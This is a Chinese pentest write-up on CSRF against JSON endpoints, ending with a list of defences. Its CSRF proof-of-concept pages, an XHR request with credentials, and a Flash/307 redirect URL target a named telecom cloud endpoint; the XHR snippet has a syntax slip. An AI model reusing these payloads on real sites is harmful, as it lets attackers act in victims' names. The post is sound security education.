vlambda博客
学习文章列表

一次渗透测试引发的Json格式下CSRF攻击的探索

0x00 前言

漏洞背景

hw时期在电信三巨头之一旗下的子公司出差,做一下渗透测试。公网的业务主挖逻辑漏洞,但是每次挖着挖着就变成了CSRF攻击,出差半个月算是把这辈子的CSRF都给挖完了。

testme师傅说的一句话:开发者修或不修,挖洞者觉得鸡肋不鸡肋,CSRF漏洞就躺着那里。这一次的体会很深,某云基本所有的业务逻辑都存在CSRF洞。

CSRF原理


还是来梳理一下大致的流程

1.用户C浏览并登录信任网站A

2.验证通过,Web A产生一个Cookie返回给用户C

3.用户在没有等处的情况下访问Web B

4.B要求访问第三方站点Web A,发出一个请求

5.浏览器带着步骤2产生的Cookie,根据步骤4的请求访问Web A

这就造成了一次CSRF攻击,原理是利用目标用户的合法身份,以用户的名义执行非法操作

0x01 常见CSRF利用

GET型CSRF

这里选择DVWA的low级,可以抓包查看修改密码的请求如下一次渗透测试引发的Json格式下CSRF攻击的探索


可以看到发送了一个GET请求,来看看有哪些HTML元素可以实现这一请求

<link href="">
<img >
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe >
<frame >
<script >
<bgsound >
<embed >
<audio >
<video >
<a href="">
<table background="">

以及CSS样式中的:

@import ""
background:url("")
...

这里可以直接选择Burp Suite的Generate CSRF PoC生成一次渗透测试引发的Json格式下CSRF攻击的探索


<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

当用户在登录状态下打开并点击Submit request按钮时,便会提交修改密码请求一次渗透测试引发的Json格式下CSRF攻击的探索


POST型CSRF

POST型与GET型的区别就在于POST型CSRF需要构造form表单,再由JavaScript自动提交

这里给出一个参考的攻击页面,当然也可以Burp Suite直接生成POC

<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</body>
</html>

0x02 真实场景利用

某云多处POST型CSRF

创建Access Key

由于是即将上线的业务,6月22日前暂未修复,关键数据打马一次渗透测试引发的Json格式下CSRF攻击的探索


创建Access Key只是向服务器提交了一个POST请求,数据为空,POC如下一次渗透测试引发的Json格式下CSRF攻击的探索


当用户在已登录情况下打开,会创建一个Access Key

一次渗透测试引发的Json格式下CSRF攻击的探索

删除Access Key一次渗透测试引发的Json格式下CSRF攻击的探索


这里由POST提交的id即为我们之前创建的Access Key(不是上面那一个。。)

我最先测的是删除的这个功能点,但是甲方不收,说这个id没有办法获取到,后来才测了创建的那个功能点。实际上,整个系统能够越权的地方都产生了CSRF,不能越权的地方也可以用CSRF去打,算是通病了。

POC与上面那个类似,唯一区别就是这里带了post数据,value替换为相应id即可。一次渗透测试引发的Json格式下CSRF攻击的探索

一次渗透测试引发的Json格式下CSRF攻击的探索


今天准备复现的时候发现系统已经暂时下线了,估计正在修复,所以用了之前提交的测试报告的图。

0x03 Json格式下的CSRF

在内网测试域遇到了一个POST型CSRF,且提交的数据为json格式一次渗透测试引发的Json格式下CSRF攻击的探索


如果直接用常规poc的话,会导致415,poc如下

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain">
<input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

一次渗透测试引发的Json格式下CSRF攻击的探索

那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

思路一:json格式闭合

我们可以抓包看一下这个poc提交的请求详情一次渗透测试引发的Json格式下CSRF攻击的探索


可以看到这段POST数据结尾多了一个=,这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。 这时候我们可以给value赋值从而对=后的数据进行补全,使其构造成一个完整的json格式,可以避免解析器报错

<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />

一次渗透测试引发的Json格式下CSRF攻击的探索

可以看到这里已经闭合成了一个完整的json格式的数据,但是提交数据还是会返回415.因为在原始的数据包中Content-Typeapplication/json,而以form表单的形式去提交是没办法设置enctypeapplication/json的。为了进一步验证,修改enctypeapplication/json,再抓包查看请求详情。一次渗透测试引发的Json格式下CSRF攻击的探索


可以看到Content-Type自动转换为了application/x-www-form-urlencoded,进一步验证

enctype改回text/plain并抓包,修改Content-Typeapplication/json一次渗透测试引发的Json格式下CSRF攻击的探索


返回操作成功,自此可以确定服务端对Content-Type进行了校验。

思路二:通过XHR提交

当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。 然而如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败。

所以在此场景下,这一思路是行不通的。但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。

XHR CSRF POC

<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>

思路三:借助flash,利用307跳转实现CSRF

1.制作一个Flash文件

2.制作一个跨域XML文件

3.制作一个具有307状态码的php文件

已经有大牛造好轮子了,参考:https://github.com/sp1d3r/swf_json_csrf

POC

https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php

或者直接在ui.html页面配置


整个攻击链

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。


然而在实际测试中却并没有起到理想中的效果,只能是记录一下方法

0x04 防御CSRF

检查Referer

限制Cookie生命周期

CSRF产生的主要原因就是Cookie时效性未过的情况下,冒用用户身份进行非法操作。而如果cookie失效,或者退出登录,甚至切换一个浏览器,CSRF就不复存在了。限制Cookie的生命周期,一定程度上能减少被CSRF攻击的概率。

使用验证码

使用验证码是阻断CSRF攻击的有效手段,在用户进行相应操作时输入验证码,可以最大限度上杜绝CSRF,唯一的缺点是会降低用户体验。

使用一次性token

Anti-CSRF-token是当下最流行的解决方案,在开发过程中我们可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。

0x05 Reference

参考链接

谈谈Json格式下的CSRF攻击

浅析CSRF漏洞的利用与防御机制

JSON CSRF新姿势

JSON CSRF的一个案例

参考文献

Web前端黑客技术揭秘


点击👇跳转原文